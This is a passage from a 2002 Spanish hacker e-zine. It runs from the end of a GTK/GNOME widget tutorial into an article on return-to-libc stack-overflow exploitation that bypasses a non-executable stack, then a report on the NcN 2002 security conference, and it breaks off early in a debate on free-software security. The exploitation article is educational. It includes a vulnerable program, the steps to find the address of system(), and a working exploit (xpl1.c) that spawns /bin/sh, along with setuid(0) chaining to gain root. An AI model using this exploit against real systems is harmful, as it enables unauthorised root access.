Siendo GtkWidget *boton_salida; después de ejecutar esta función el progra-
ma ejecutaría la función que hubiera asociada a este signal (si es que la
hubiese), las demás funciones anteriores son análogas a ésta.

+ gtk_button_set_relief:
Facilmente configurable desde GLADE, pone un estilo de relieve al botón de
tipo GtkReliefStyle que puede ser: GTK_RELIEF_NORMAL, GTK_RELIEF_HALF o
GTK_RELIEF_NONE.

+ gtk_button_get_relief:
· Prototipo
GtkReliefStyle gtk_button_get_relief(GtkButton *button);

Dice el estilo de relieve que tiene el widget button.

· Ejemplo
estilo gtk_button_get_relief(GTK_BUTTON(boton1));
Siendo: GtkStyleRef estilo; GtkWidget *boton1;

-Propiedades:

+ label: El texto que tendrá el botón.

+ relief: Relieve del botón.

-Signals:

+ pressed:
Cuando el botón se encuentra pulsado inicialmente.

+ released:
Cuando el botón que estaba pulsado se "suelta".

+ clicked:
Cuando se hace click en el botón con el ratón, si el puntero del ratón no
está en el botón el signal no se emite.

+ enter:
Cuando el puntero del ratón entra en el botón.

+ leave:
Cuando el puntero del ratón sale del botón.

Para todas estas signals el prototipo es el mismo:
void funcion_predefinida_en_el_glade(GtkButton *boton, gpointer user_data);
En el ejemplo del programa que hemos hecho en este documento se ve claramente

4.3 GtkToggleButton

-¿Qué es?:

Botón que si lo pulsas se queda "toggled" (pulsado) hasta que lo vuelvas a
pulsar.

-Funciones:

+ gtk_toggle_button_toggled:
· Prototipo:
void gtk_toggle_button_toggled(GtkToggleButton *boton);

Cambia el estado del botón, si el botón estaba activado lo desactiva.

+ gtk_toggle_button_get_active:
· Prototipo:
gboolean gtk_toggle_button_get_active(GtkToggleButton *boton);

Nos dice si el botón esta o no activado, si está activado devuelve TRUE y
sino devuelve FALSE.

+ gtk_toggle_button_set_active:
· Prototipo:
void gtk_toggle_button_set_active(GtkToggleButton *boton, gboolean estado);

Pone el botón en el estado que le digamos, activado o desactivado.

Ejemplo:
(Esto se suponiendo que ya se ha puesto el toggle button con el GLADE y se
ha enganchado el XML)

GtkWidget *bool_proxy;
int usar_proxy=0;

if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(bool_proxy))) {
usar_proxy=1;
gtk_toggle_button_toggled(GTK_TOGGLE_BUTTON(bool_proxy));
}

if (!usar_proxy) {
gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(bool_proxy),TRUE);
}

-Propiedades:

+ active: Estado del botón, si esta presionado o no. Es un gboolean (TRUE o
FALSE).

-Signals:

+ toggled:
Cuando el estado del botón cambia, ya sea de TRUE a FALSE o viceversa.
· Prototipo:
void funcion_predef(GtkToggleButton *boton, gpointer user_data);

4.4 GtkEntry

-¿Qué es?:

Es una caja de texto.

-Funciones:

+ gtk_entry_set_text:
· Prototipo:
void gtk_entry_set_text(GtkEntry *entry, const gchar *text);

Pone un texto en la caja reemplazando el existente (si es que lo habia).

+ gtk_entry_append_text:
· Prototipo:
void gtk_entry_append_text(GtkEntry *entry, const gchar *text);

Concatena el texto que habia en la caja (si es que lo habia) con el nuevo.

+ gtk_entry_prepend_text:
· Prototipo:
void gtk_entry_prepend_text(GtkEntry *entry, const gchar *text);

Antepone el texto nuevo al que habia (si lo hubiese).

+ gtk_entry_get_text:
· Prototipo:
gchar* gtk_entry_get_text(GtkEntry *entry);

Devuelve un puntero a gchar donde estará el contenido de la caja de texto.

+ gtk_entry_set_visibility:
· Prototipo:
void gtk_entry_set_visibility(GtkEntry *entry, gboolean visible);

Si visible es FALSE lo que se escriba o haya en la caja aparecerá con aste-
riscos (*), y si es TRUE aparecerá texto plano normal.

+ gtk_entry_set_editable:
· Prototipo:
void gtk_entry_set_editable(GtkEntry *entry, gboolean editable);

Determina si esa caja de texto puede ser editada o no por el usuario, si
editable es FALSE el usuario no podrá editarla.

+ gtk_entry_set_max_length:
· Prototipo:
void gtk_entry_set_max_length(GtkEntry *entry, guint16 max);

Pone un máximo de caractéres a escribir en la caja de texto. Si el usuario
se pasa de ese máximo los caractéres se truncarán hasta el máximo definido.

NOTA: Muchas de estas funciones están obsoletas y serán reemplazadas por fun-
ciones del widget GtkEditable.

Ejemplo:

GtkWidget *pass_text, *user_text;
gchar *pass, *user;

gtk_entry_set_text(GTK_ENTRY(user_text),"Pon Aquí Tu Usuario");
gtk_entry_set_visibility(GTK_ENTRY(pass_text),FALSE);
/* Poner los caracteres visibles o no asi como ponerla editable o no */
/* es mas sencillo hacerlo desde GLADE */
gtk_entry_set_max_length(GTK_ENTRY(user_text),8);
pass=gtk_entry_get_text(GTK_ENTRY(pass_text));
user=gtk_entry_get_text(GTK_ENTRY(user_text));

if (!strncmp(pass,user,8)) {
/* g_print() es equivalente a printf(), imprime por la consola */
g_print("Usuario Válido\n");
} else {
g_print("ERROR: Usuario NO Válido\n");
}

-Propiedades:

+ max_length: es un guint (unsigned int) que indica el máximo de caracteres.

+ visibility: gboolean que indica si el texto saldrá en asteriscos o en texto
plano.

4.5 GtkSpinButton

-¿Qué es?:

Es ideal cuando queremos que el usuario meta un valor y lo pueda incrementar
en lo que nosotros queramos y tiene multiples propiedades para hacerlo más o
menos estricto.

-Funciones:

Muchas las voy a omitir ya que es mucho mas sencillo ajustar las propiedades
con el GLADE. En la vetana de Propiedades de un SpinButton tendremos lo si-
guiente:
Climb Rate es lo que escalará para ajustarlo.
Digits serán los números decimales que habrá en el SpinButton.
Numeric, si ponemos esto a Yes y el usuario mete un carácter será ignorado,
excepto el '-' y el '.'
Snap, si ponemos Snap a Yes cuando el usuario ponga un número que no esté en
los incrementos definidos automáticamente se ajustará.
Wrap, si la ponemos a Yes y el usuario se pasa de nuestro máximo, que suponga
mos que es 5 automáticamente se pondrá un 5, lo mismo pasaría con el mínimo.
Step Inc que será lo que subamos cada vez que el usuario pinche en la flecha
del botón para incrementar, o igualmente pero decrementando.
Las funciones más interesantes son:
+ gtk_spin_button_get_value_as_float:
· Prototipo:
gfloat gtk_spin_button_get_value_as_float(GtkSpinButton *spin_button);

Almacena en un gfloat el valor que contenga el spin button.

+ gtk_spin_button_get_value_as_int:
· Prototipo:
gint gtk_spin_button_get_value_as_int(GtkSpinButton *spin_button);

Almacena en un entero el contenido del spin button.

Ejemplo:

GtkWidget *spin;
gint num;
gfloat nfloat;

nfloat=gtk_spin_button_get_value_as_float(GTK_SPIN_BUTTON(spin));
num=gtk_spin_button_get_value_as_float(GTK_SPIN_BUTTON(spin));
g_print("Valor del Spin: entero-> %d - float-> %f\n", num, nfloat);

-Propiedades:

Mirar en las funciones de este widget :).

4.6 GtkCombo

-¿Qué es?:

Es una caja que te da a elegir entre varias opciones.

-Funciones:

Antes de nada decir que el GtkCombo se compone de un GtkEntry que contendrá
la opción que se haya seleccionado, asi que será lo que tendremos que leer a
la hora de querer saber la opción elegida por el usuario.
Una vez más se puede hacer todo mucho mas sencillo con el glade sin tener que
llamar a funciones, en el GLADE seleccionamos el GtkCombo entero (no solo el
GtkEntry que tiene), y en la ventana de propiedades vemos Items ahi es donde
tendremos que meter los elementos entre los que podrá elegir el usuario. Tam-
bién podemos definir si será Case Sensitive en caso de que el usuario pueda
editar la GtkEntry.

4.7 GtkText

-¿Qué es?:

Es como un GtkEntry gigante :), un espacio donde se podrá o no (según desee
el programador) escribir/ver texto.

-Funciones:

Se puede poner editable o no, con el GLADE sin tener que llamar a ninguna fun
ción.

+ gtk_text_set_point:
· Prototipo:
void gtk_text_set_point(GtkText *text, guint index);

Pone el cursor en la posicion dada por index.

+ gtk_text_get_point:
· Prototipo:
guint gtk_text_get_point(GtkText *text);

Devuelve la posición del cursor en el GtkText.

+ gtk_text_get_length:
· Prototipo:
guint gtk_text_get_length(GtkText *text);

Devuelve la longitud del texto completo que haya.

+ gtk_text_freeze:
· Prototipo:
void gtk_text_freeze(GtkText *text);

No deja que se escriba mas en el widget hasta que se llame a gtk_text_thaw,
es útil si se hacen cambios muy rápido en el widget para que el usuario vea
el resultado.

+ gtk_text_thaw:
· Prototipo:
void gtk_text_thaw(GtkText *text);

Vuelve a dejar escribir en el widget despues de un freeze.

+ gtk_text_insert:
· Prototipo:
void gtk_text_insert(GtkText *text, GdkFont *font, GdkColor *fore,
GdkColor *back, const char *chars, gint length);

Inserta un texto chars en el widget text con la fuente font etc..., fore
es el color del texto y back el color del fondo.

+ gtk_text_backward_delete:
· Prototipo:
gint gtk_text_backward_delete(GtkText *text, guint nchars);

Borra un número de caractéres, a partir de la posición del cursor para
atrás dado por nchars y devuelve TRUE si se ha podido realizar la operación
o FALSE en caso contrario.

+ gtk_text_forward_delete:
· Prototipo:
gint gtk_text_forward_delete(GtkText *text, guint nchars);

Hace y devuelve lo mismo que gtk_text_backward_delete pero borra los carac-
téres a partir de la posición del cursor para adelante.

Ejemplo:

GtkWidget *texto;
GdkColor *foreground, *background;
guint tam;

foreground->red=0;
foreground->blue=65535;
foregroung->green=0;
background->red=0;
background->green=0;
background->blue=0;

gtk_text_insert(GTK_TEXT(texto),GDK_FONT_FONT,foreground, background,
"hola",4);

if(gtk_text_backward_delete(GTK_TEXT(texto),2))
g_print("Borradas 2 letras\n");

tam=gtk_text_get_length(GTK_TEXT(texto));

g_print("Longitud del texto actual: %d\n", tam);

5. Ejemplos Widgets De GNOME

5.1 GnomeAppBar

-¿Qué es?:

Es una barra de estado + una barra de progreso.

-Funciones:

Desde el GLADE se puede quitar la barra de estado o la barra de progreso, o
las 2, según se prefiera.

+ gnome_appbar_set_status:
· Prototipo:
void gnome_appbar_set_status(GnomeAppBar *appbar, const gchar *status);

Pone en la barra de estado el mensaje status.

+ gnome_appbar_push:
· Prototipo:
void gnome_appbar_push(GnomeAppBar *appbar, const gchar *status);

Pone en la pila de mensajes de la barra de estado el mensaje status y ade-
más sale en la barra de estado.

+ gnome_appbar_pop:
· Prototipo:
void gnome_appbar_push(GnomeAppBar *appbar);

Saca de la pila el último mensaje metido y pone el siguiente en la barra de
estado.

+ gnome_appbar_clear_stack:
· Prototipo:
void gnome_appbar_clear_stack(GnomeAppBar *appbar);

Borra la pila de mensajes de la barra de estado y pone el default message,
si lo hubiese, en la barra de estado. El default message se pone con la
función gnome_appbar_set_default que recibe un widget appbar y un gchar.

+ gnome_appbar_set_progress:
· Prototipo:
void gnome_appbar_set_progress(GnomeAppBar *appbar, gfloat percentage);

Rellena la barra de progreso con el porcentaje dado en percentage en float.

Ejemplo:

Hay ejemplos sobre este widget en el programa que hemos hecho al principio
del documento.

5.2 GnomeDateEdit

-¿Qué es?:

Es un widget en el cual el usuario puede cambiar la hora y la fecha.

-Funciones:

La mayoría de las funciones de este widget son para ajustar propiedades y se
puede hacer con el GLADE mucho más fácilmente.

+ gnome_date_edit_get_date:
· Prototipo:
time_t gnome_date_edit_get_date(GnomeDateEdit *gde);

Devuelve el la fecha y la hora que hay en ese momento en el widget.
NOTA: time_t es un long int.

-Signals:

+ date_changed:
Se produce cuando el usuario cambia la fecha.
· Prototipo:
void funcion_predef(GnomeDateEdit *dateedit, gpointer user_data);

+ time_changed:
Se produce cuando el usuario cambia la hora.
· Prototipo:
void funcion_predef(GnomeDateEdit *dateedit, gpointer user_data);

6. Conclusión

Después de este artículo (si se puede llamar asi :)) espero que seais capaces
de seguir aprendiendo a manejar los muy variados widgets que hay, y que encon
trareis en las URL del punto siguiente (la bibliografía). Espero que os haya
servido de ayuda.
Un Saludo.

7. Bibliografía

http://developer.gnome.org/doc/API/libglade/libglade.html - API LIBGLADE
http://developer.gnome.org/doc/API/gtk/index.html - API GTK+
http://developer.gnome.org/doc/API/libgnomeui/book1.html - API GNOME UI


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 13 - Stack overflow con stack no ejecutable. }{ Ripe }
|-----------------------------------------------------------------------|



1.- Introduccion
----------------

Os preguntareis, seguro, ¿porque otro articulo sobre stack overflow si
ya existen miles, y muy buenos, en la red? La respuesta es sencilla. No voy a
hablar sobre el 'tipico' metodo con el que se explota un stack overflow, sino
de un metodo alternativo que nos permite saltarnos el sistema de seguridad de
moda; el stack no-ejecutable.




2.- No-ejecutable stack
-----------------------

Muchos de los exploits que han aparecido a lo largo de la historia se
han servido del stack para colocar la shellcode, aprovechando que esta (pese
a no ser necesario para el correcto funcionamiento de un programa normal) era
ejecutable.

La clara solucion planteada para la evasion de estos exploits es la
no-ejecucion del stack, lo cual se logra, en linux, modificando la entrada
usada por el selector CS de los procesos en la GDT. En linux 2.0, de dicha
entrada de la GDT se podia sacar que base 0x00000000 y limite 0xc0000000, y
es que linux dividia la memoria en 2 segmentos, el segmento del kernel y el
de los procesos de usuario. En 2.2 y 2.4 se ha optado por un solo segmento,
pasando a tener en dicha entrada 0x00000000 como base y 0xffffffff como
limite, protegiendo entonces de una forma alternativa las paginas
pertenecientes al kernel (a simple vista parece una tonteria, pero gracias a
ello se gana un 20% de rendimiento, segun me han comentado). Sabemos que el
top del stack esta en 0xc0000000 y que el kernel cede 8 megas para el stack
de cada proceso (la cual cosa quiere decir que tendremos stack de 0xbff70000
a 0xc0000000), por lo que cambiando la entrada usada por el CS de los
procesos en la GDT de manera que se obtenga base 0x0000000 y limite
0xbff70000 evitaremos que el stack pueda ejecutarse.

Si no has entendido demasiado esto ultimo que he comentado no te
preocupes, pues no es necesario para la compresion del resto del articulo.



3.- Donde saltar?
-----------------

No podemos saltar al stack, sin embargo nos quedan aun muchos lugares a
los que saltar. Por ejemplo a alguna de las funciones de la libc, como puede
ser system(). Obviamente tendriamos que preparar el 'entorno' para que system
se sienta comoda y haga lo que nosotros queremos, darnos un shell. Si hacemos
un programa sencillo, como el siguiente podemos ver que es lo que espera
encontrarse system.


---/ system_test.c /---

#include <stdlib.h>

int main() {
system("/bin/echo soy un test!!");
}

---/ system_test.c /---


Debuggeamos un poco...


(gdb) disassemble main
Dump of assembler code for function main:
0x8048340 <main>: push %ebp
0x8048341 <main+1>: mov %esp,%ebp
0x8048343 <main+3>: sub $0x8,%esp
0x8048346 <main+6>: and $0xfffffff0,%esp
0x8048349 <main+9>: movl $0x80483b8,(%esp,1) <--- main coloca el
argumento en la pila.
0x8048350 <main+16>: call 0x8048258 <system> <--- luego llama a system.
0x8048355 <main+21>: mov %ebp,%esp
0x8048357 <main+23>: pop %ebp
0x8048358 <main+24>: ret
0x8048359 <main+25>: lea 0x0(%esi,1),%esi
End of assembler dump.
(gdb) b *system
Breakpoint 1 at 0x8048258
(gdb) r
Starting program: /home/ripe/./a.out
Breakpoint 1 at 0x40065c30

Breakpoint 1, 0x40065c30 in system () from /lib/libc.so.6
(gdb) x/2x $esp
0xbffff7bc: 0x08048355 0x080483b8


Tras entrar en system tenemos en la pila la posicion de retorno y un
puntero a la cadena que debe pasar al interprete de ordenes.



4.- Programa vulnerable.
------------------------

Nuestro programa vulnerable es el siguiente. Se trata de un simple
stack overflow, como los muchos que habras visto :)

---/ vuln.c /---

#include <stdio.h>

int main(int argc, char **argv) {
char buf[128];
strcpy(buf, argv[1]);
}

---/ vuln.c /---



5.- Exlotandolo!!
-----------------

Sabemos que podemos saltar a system(), cuyo codigo se encuentra
mapeado junto al resto de la libc (/lib/libc.so.6), asi que lo primero
que tenemos que saber es la posicion en la memoria a la que saltar; esta
sera base_de_la_libc+offset_a_system.

Sacar la base de la libc es sencillo, basta con hace lo siguiente:


barracuda ~$ ldd vuln
libc.so.6 => /lib/libc.so.6 (0x40024000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000
barracuda ~#


Ya tenemos la base, que es 0x40024000. El offset no es mucho mas
complicado de conseguir.


barracuda ~$ objdump -t /lib/libc.so.6 | grep system
00041c30 w F .text 00000355 system
000f4ae0 g F .text 00000044 svcerr_systemerr
00041c30 g F .text 00000355 __libc_system
barracuda ~$


Ya tenemos la base y el offset, por lo que ya sabemos a donde hay
que saltar. Pero nos falta algo importante aun, pasarle el argumento adecuado
a system(), "/bin/sh". Podriamos colocar esta cadenda en el stack (junto al
buffer, en una variable de entorno, en argv[0]), y pasarle a system un puntero
a ella. Se nos presenta aqui el mismo problema que con la localizacion de
shellcodes que solucionabamos a base de NOP's. La solucion aqui vuelve a ser
sencilla, siendo un simil de la presentada para las shellcodes. Añadiremos
delante la cadena "/bin/sh\0", tantos 0x20 (que corresponde al caracter
' ') como queramos, pues system() ignora los espacios a la izquierda.


En definitiva, el buffer que tenemos que pasarle al programa es...


Seria la posicion de
retorno de system()
|
|
[ 132 bytes de Basura ][ alineacion en GCC ][ PTR ][ 4 bytes de basura ][ PTR ]
| |
| |
Puntero a system() Puntero al stack
(".../bin/sh\0")

---/ xpl1.c /---

#include <stdio.h>

#define SYSTEM_ADDR 0x40024000+0x00041c30 /* LIBC_BASE + SYSTEM_OFFSET */
#define TOEXEC_ADDR 0xbfffff50

#define BUFSZ 128+4+4+4+4+4+4

int main(int argc, char **argv) {
char toexec_addr[1024];
char evilbuf[BUFSZ+1];
char *exec_argv[3];
char *exec_envp[2];
unsigned long *ptr;
if (argc<2) exit(0);
memset(toexec_addr, ' ', 1023);
strcpy(toexec_addr+1023-strlen("/bin/sh"), "/bin/sh");
exec_argv[0]=argv[1];
exec_argv[1]=evilbuf;
exec_argv[2]=NULL;
exec_envp[0]=toexec_addr;
exec_envp[1]=NULL;
memset(evilbuf, 'A', BUFSZ);

ptr=(unsigned long *)&evilbuf[BUFSZ-12];
*ptr=SYSTEM_ADDR;

ptr=(unsigned long *)&evilbuf[BUFSZ-4];
*ptr=TOEXEC_ADDR;

evilbuf[BUFSZ]=0;
execve(argv[1], exec_argv, exec_envp);
}

---/ xpl1.c /---


Este exploit esta pensado para la version 3 de GCC que coloca unos
bytes de alineamiento entre las variables locales y el EBP salvado en la
pila.




6.- Alguna cosa mas
-------------------

En muchas ocasiones, y lo hemos visto en muchas shellcodes, para que
un exploit nos de root hemos de llamar a setuid(0) antes de llamar a /bin/sh,
en otras ocasiones es necesario romper un entorno chroot, por lo que hay que
realizar cosas complejas que system() no nos permite. Todo esto tiene facil
solucion, como veremos.

Mediante esta forma de trabajar, haciendo que RET salte a la libc
podemos realizar 2 saltos, pues, si miramos el buffer que introducimos en
xpl1.c, vemos que despues de system() se saltara a los 4 bytes basura que
hay entre los dos PTR. Esto quiere decir, que podriamos pasar como
buffer lo siguiente.


puntero a setuid() puntero a
de la libc ".../bin/sh"
| |
| |
[ 132 bytes de Basura ][ alineacion en GCC ][ PTR ][ PTR ][ 0 ][ PTR ]
|
|
putero a system()
de la libc


En una situacion muy similar a la que vimos anteriormente, en este
se ejecutaria setuid(0) y este retornaria a la system() pasandole como
argumento ".../bin/sh", logrado de esta manera superar nuestro primer bache.

Esto no es aplicable en el caso de la ruptura del chroot, pues hay
que realizar cosas algo mas complejas (y este metodo solo nos permite
llamar a 2 funciones de la libc). Lo que tenemos que hacer entonces es
lograra que se ejecute una shellcode autentica, pero tenemos el problema de
la prohibición de ejecucion en el stack. Por suerte, nuevamente, la libc nos
brinda la posibilidad de hacerlo, gracias a strcpy(). Si colocamos la shellcode
en el stack, usando strcpy() podemos moverla a otro lado y hacer que el propio
strcpy retorne a ella. El buffer, en definitiva seria...


puntero al stack
donde esta la
shellcode
strcpy() al principio
| |
| |
[ 132 bytes de Basura ][ alineacion en GCC ][ PTR ][ PTR ][ PTR ][ PTR ]
\ /
||
Alla a donde vamos
a mover la
shellcode

Con todo ello, lo que lograremos es que se ejecute lo siguiente tras
el ret de main; strcpy(shellcode, nuevo_sitio) para luego llamar a
nuevo_sitio(). Obviamente para que ello funcion, nuevo_sitio debe estar en
una zona de la memoria con permisos W (escritura) y X (ejecucion).




7.- Conclusion
--------------

La no-ejecucion del stack se presenta como una solucion a la
explotacion de programas, sin embargo en el caso del stack overflow es
realmente sencillo evadir dicha proteccion como ya hemos visto en este
documento. Pese a todo, muchos de los parches de seguridad que existen
hoy en dia, toman medidas ante este tipo de tecnicas.


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 14 - NcN. El congreso de Palma. }{ Ripe }
|-----------------------------------------------------------------------|



|------------------------------------------------------------|
_ _ _ _
| \ | | ___ ___ ___ _ __ | \ | | __ _ _ __ ___ ___
| \| |/ _ \ / __/ _ \| '_ \ | \| |/ _` | '_ ` _ \ / _ \
| |\ | (_) | | (_| (_) | | | | | |\ | (_| | | | | | | __/
|_| \_|\___/ \___\___/|_| |_| |_| \_|\__,_|_| |_| |_|\___|
____ _ ____
|___ \| | _|___ \
__) | |/ / __) |
http://ncn.debaleares.net / __/| < / __/
|_____|_|\_\_____|

|------------------------------------------------------------|


Mallorca siempre ha destacado por sus bonitas playas y calas, por sus
rutas terrestres, y por esas tantas cosas que han atraido desde siempre al
turismo hasta el punto de convertirse en el punto de España que mas
turismo atrae, sin embargo este año ha sido distinto, por varias cosas. Mallorca
ha cedido el trono de mayor atraccion de turistica a la comunidad autonoma de
Catalunya, y un centenar de personas han pisado las tierras de la isla sin
la intencion de ir a la playa. ¿Donde iban? A la segunda edicion en abierto
de la No Con Name 2002 (aka NcN'2k2), congreso destinado a fomentar la
seguridad informatica en nuestro pais.

El evento tuvo lugar del 25 al 28 de julio, en el Parcbit de
Palma de Mallorca, muy cerca de la Universitat de les Illes Balears (UIB), en
un recinto lujosamente preparado para eventos de este tipo, pero que debido
a su lejania de las zonas pobladas no se habia usado mucho desde su creacion.
Por suerte hay una serie de gente antisocial cuya meta es alejarse de la
civilizacion: los hackers (destacare aqui el tono ironico, para que no haya
malentendidos).

Las primeras horas del 25 de julio las destinamos a conocer a toda esa
gente, que en ¿coche?, barco o avion se habian plantado en la isla, esperando
que la organizacion de la NcN nos dejara entrar...eso si, firmando antes un
papel en el que la organizacion de la NcN se lavaba las manos sobre
lo que pudiera pasar ahi dentro. La legalidad de ese papel fue uno de los
temas de discusion durante la espera.

Una vez dentro, algo mas tarde de lo previsto, nos sentamos cada uno
en el sitio asignado a la espera de la movida, que llegaria algo mas tarde con
una charla de presentacion realizada por algunos de los miembros de la
organizacion: en ella explicaron el pasado, presente y futuro de la NcN. Lejos
de la NcN'99, esta nueva edicion iba mucho mas orientada a las empresas que,
pese a todo, no acudieron a la cita, salvo pequeñas excepciones.
Si la orientacion de las dos ediciones de la NcN era distinta, cabe destacar
que la gente que acudio era mas o menos la misma (refiriendome al tipo de
persona que se podia ver por alla: joven, estudiante, interesado en la seguridad
informatica como hobbie...), lo que da mucho que pensar sobre el interes de las
empresas españolas en lo que a seguridad informatica se refiere.

Con el cuerpo aun en frio llega la charla de Iñaki Lopez sobre el
chroot como entorno seguro. Tomo apuntes, pues 2 dias mas tarde deberia dar yo
una sobre las inseguridades del chroot. La charla de Iñaki fue realmente
completa, explicando cosas que incluso tenia pensado explicar yo. Despues del
turno de preguntas y un largo descanso (mala comida incluida) debia realizarse
una mesa redonda sobre el panorama español en lo que a seguridad informatica se
refiere, un tema muy tratado ultimamente. No recuerdo exactamente que, pero
algo me impidio asistir. Y llegaria despues de un largo descanso la charla de
Loadable Kernel Modules, mas que interesante y en la que acabaron saltando
chispas. El dia en la NcN terminaba para mi, pues las charlas que venian a
continuacion no me atraian lo suficiente como para privarme de un paseo por
Valldemossa, un bonito pueblo rural que se encuentra en uno de los puntos mas
altos de la isla y desde el cual las vistas son geniales. Me daria aun tiempo de
volver e ir a cenar a un telepizza y luego unas copas con algunos miembros de
la organizacion NcN, para finalmente ir al hotel.

Segundo dia. Calor, mucho calor. Desayuno en el Hotel junto a la gente
de esCERT e Iñaki, mostrando nuestras opiniones sobre el primer dia de la NcN
con el croisant en la boca. La primera charla del dia era sobre la instalacion
de un sistema de deteccion de intrusos automatizado, pero estaba claro que,
debido a la hora que era y habiendonos levantado realmente tarde, ya no
llegabamos; asi que decidimos realizar una pequeña sobremesa. Despues de
charlar sobre alguna tonteria y algun que otro mecanismo de seguridad pedimos
un taxi en recepcion y nos fuimos hacia el Parcbit. Llegamos al Parcbit sobre
las 11, hora en que tenia que empezar la charla de analisis forense, una de las
charlas que tenia apuntadas en mi agenda como imprescindibles, pero el retraso
de Daniel Cabezas, que la noche anterior se habia pasado con la farra, demoro
su charla de IDS. Cuando llegamos aun seguia.

Terminada la charla de Daniel, era el momento de centrar nuestra
atencion hacia las huellas que un intruso podia dejar en una maquina: empezaba
la charla de analisis forense; charla que, a mi parecer, dejo muchisimo que
desear. Sin practicamente tiempo para el descanso me situaria detras de la
mesa, de cara al publico, esperando que sonara la campana para iniciar un
duro duelo verbal contra Daniel Cabezas. Discutiamos sobre la Full Disclosure,
otro de los temas de moda a nivel mundial: para este debate conte con la ayuda
de tuxisuau, que ya habia estado conmigo unos meses antes debatiendo ese mismo
tema en la universidad de Mataro, en una mesa redonda a la que nos habian
invitado la gente de la ASSL (Asociación de Soporte al Software Libre). Sobre
las 2 terminaria el duelo en empate, y los participantes siguieron discutiendo
hasta llegar al tunel de vestuarios, donde esperaba la comida. Habiendo visto
la comida del dia anterior decidi irme a un restaurante. Comi pensando en la
vuelta, pues me tocaria a mi dar la charla de Tendencia a la automatizacion de
exploits.

Llego mas tarde de la hora prevista, pero los preparativos aun no
estan hechos y he de esperarme un buen rato, tengo tiempo de tomar unos
ultimos apuntes antes de empezar. Finaliza mi charla, con situacion comica
incluida y se avecina la que en mi opinion fue la mejor charla de la NcN.
Impartida por Chris Anley (magnifico compañero de habitacion) la charla verso
sobre SQL Inject. Tras la finalizacion, bastante mas tarde de lo
previsto, los aplausos sonaron con autentica fuerza en la sala, muchos de los
asistentes mostrando autentica satisfaccion ante las demostraciones del
director de NGSSoftware, Chris.

Despues de unos minutos de confusion Iñaki Lopez presento un debuger
que estaba programando. Quede un poco decepcionado, pues el titulo de la
charla prometia algo mas: "Ejecucion controlada de sistemas vulnerables".
Obviamente, habian cambiado el tema de la charla a ultima hora.

Aguanto un par de minutos escuchando un coñazo sobre la Firma Digital
y decido irme. Sin nada que hacer, pues los dos concursos previstos para la
NcN no estaban aun operativos, decido irme a dar una vuelta por Palma de
Mallorca, donde mas tarde, esa misma noche, me reuniria de nuevo con asistentes
de la NcN para tomar alguna copa. Abunda la pomada, tipica bebida mallorquina
cuyos ingredientes basicos son limon y ginebra, servida en porron, asi que
algun que otro trago se vio caer. Pensando ya en el dia siguiente decido
volverme al hotel, en lugar de ir con el resto por las discos de la zona.

La noche era muy calurosa, pero despues de una larga charla con Chris
Anley logro dormir profundamente, tan profundamente que a las 10 de la mañana
(hora en que amanecia el nuevo dia para la NcN) yo seguia en cama. Hago un
gran esfuerzo para levantarme, ir al vestibulo y pedir un taxi.

Llego a media charla de Seguridad Linux, impartida por el bulgaro
residente en España, Kaloyan Olegov Gueorguiev. Las caras de la gente mostraban
caras de satisfaccion, señal que la charla del bulgaro estaba gustando. Esta
charla fue, ademas, una de las charlas mas largas de la NcN. Despues de
escuchar la ponencia de seguridad en sistemas linux, tocaba escuchar una
sobre el reglamento de proteccion de datos, un tema realmente intresante...
para aquel a quien le interese, no para mi.

Decido irme a comer con unos cuantos a Palma. Despues de comer, tomar
un cafe y dar una vuelta por la ciudad, volvemos a Parcbit. Debia entonces
prepararme la charla de chroot que aun tenia algo verde, y haciendo algun que
otro experimento me cargo /dev/hda2 asi que me quedo sin el material necesario
para dar la charla... esto solo podia pasarme a mi. Nervios, muchos nervios
y prisas. Tenia la intencion de rescatar parte del material de otras maquinas
en las que habia copias bastante antiguas e improvisar un poco (nunca se me ha
dado bien esto de improvisar en publico).

Retrasan mi charla para darme mas tiempo. Mientras yo estaba montando
una maquina para hacer las demostraciones y enseñar las cosas, Gema Gomez nos
daba una charla sobre criptografia, debido a la situacion en la que me
encontraba no pude prestar demasiada atencion a la misma. Yo a lo mio,
tratando de solventar los problemas que tenia con una tarjeta ethernet no
soportada por el kernel 2.2, problema que solucione cambiando la tarjeta de la
maquina por una con chipset realtek.

Finalizada la charla de Gema, llega mi turno, salgo a escena e
improviso. La cosa no salio mal del todo, aunque me olvide un monton de cosas
que tenia pensado contar... agh.

Final del dia, noche de fiesta y bebida... para terminar, como cada
noche, en el hotel charlando con Chris sobre cualquier tonteria que se nos
ocurriese.

El ultimo dia de la NcN fue realmente tranquilo, la gente se centro
mas en recojer las cosas que en hacer algo. Yo no asisti por la mañana, asi que
me perdi la charla sobre la organizacion del evento, lo que si que pude ver, ya
por la tarde, es la explicacion de Oriol Carreras sobre el como habia logrado
superar la prueba planteada en el concurso de ingenieria inversa. Charlita
improvisada pero realmente intresante para aquellos que tuvieran intencion de
aprender a usar debugers como el gdb :)

Tras una ultima charla de la organizacion, cuyo objetivo era el de
sacar conclusiones finaliza la NcN'2k2, al centenar de personas que asistimos
nos espera ahora un duro viaje de vuelta, cruzando mar y ¿montañas?


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 15 - Debate }{ Varios }
|-----------------------------------------------------------------------|



Tsss! Tu. Debatimos? Que software ofrece mas garantias de seguridad;
software libre o sofware no-libre?


-------------------------------------------------------------------------------
---/ Ripe /--------------------------------------------------------------------
-------------------------------------------------------------------------------

Hace ya muchos años que se oye hablar de la seguridad informatica y de
la importancia que esta tinene y tendra en un futuro mundo en el que las nuevas
tecnologias marcaran una epoca (o eso dicen). Siempre que se habla de seguridad
informatica se habla de administradores, hackers, crackers, ataques,
vulnerabilidades, etc. sinembargo el enfoque de este debate sobe si el software
libre es mas seguro o no me permite enfocar este tema de otra manera y mostrar
una vez mas mi opinion sobre algo.

Todos sabeis del impacto que ultimamente se esta viviendo en el mundo
informatico con la aparicion del software libre, movimiento que se vio
impulasado hace unos años con la aparicion de Linux. ¿Pero que coño es el
software libre? La idea basica del software libre es la distrobucion del codigo
fuente junto a cualquier producto que se precie, de manera que cualquier
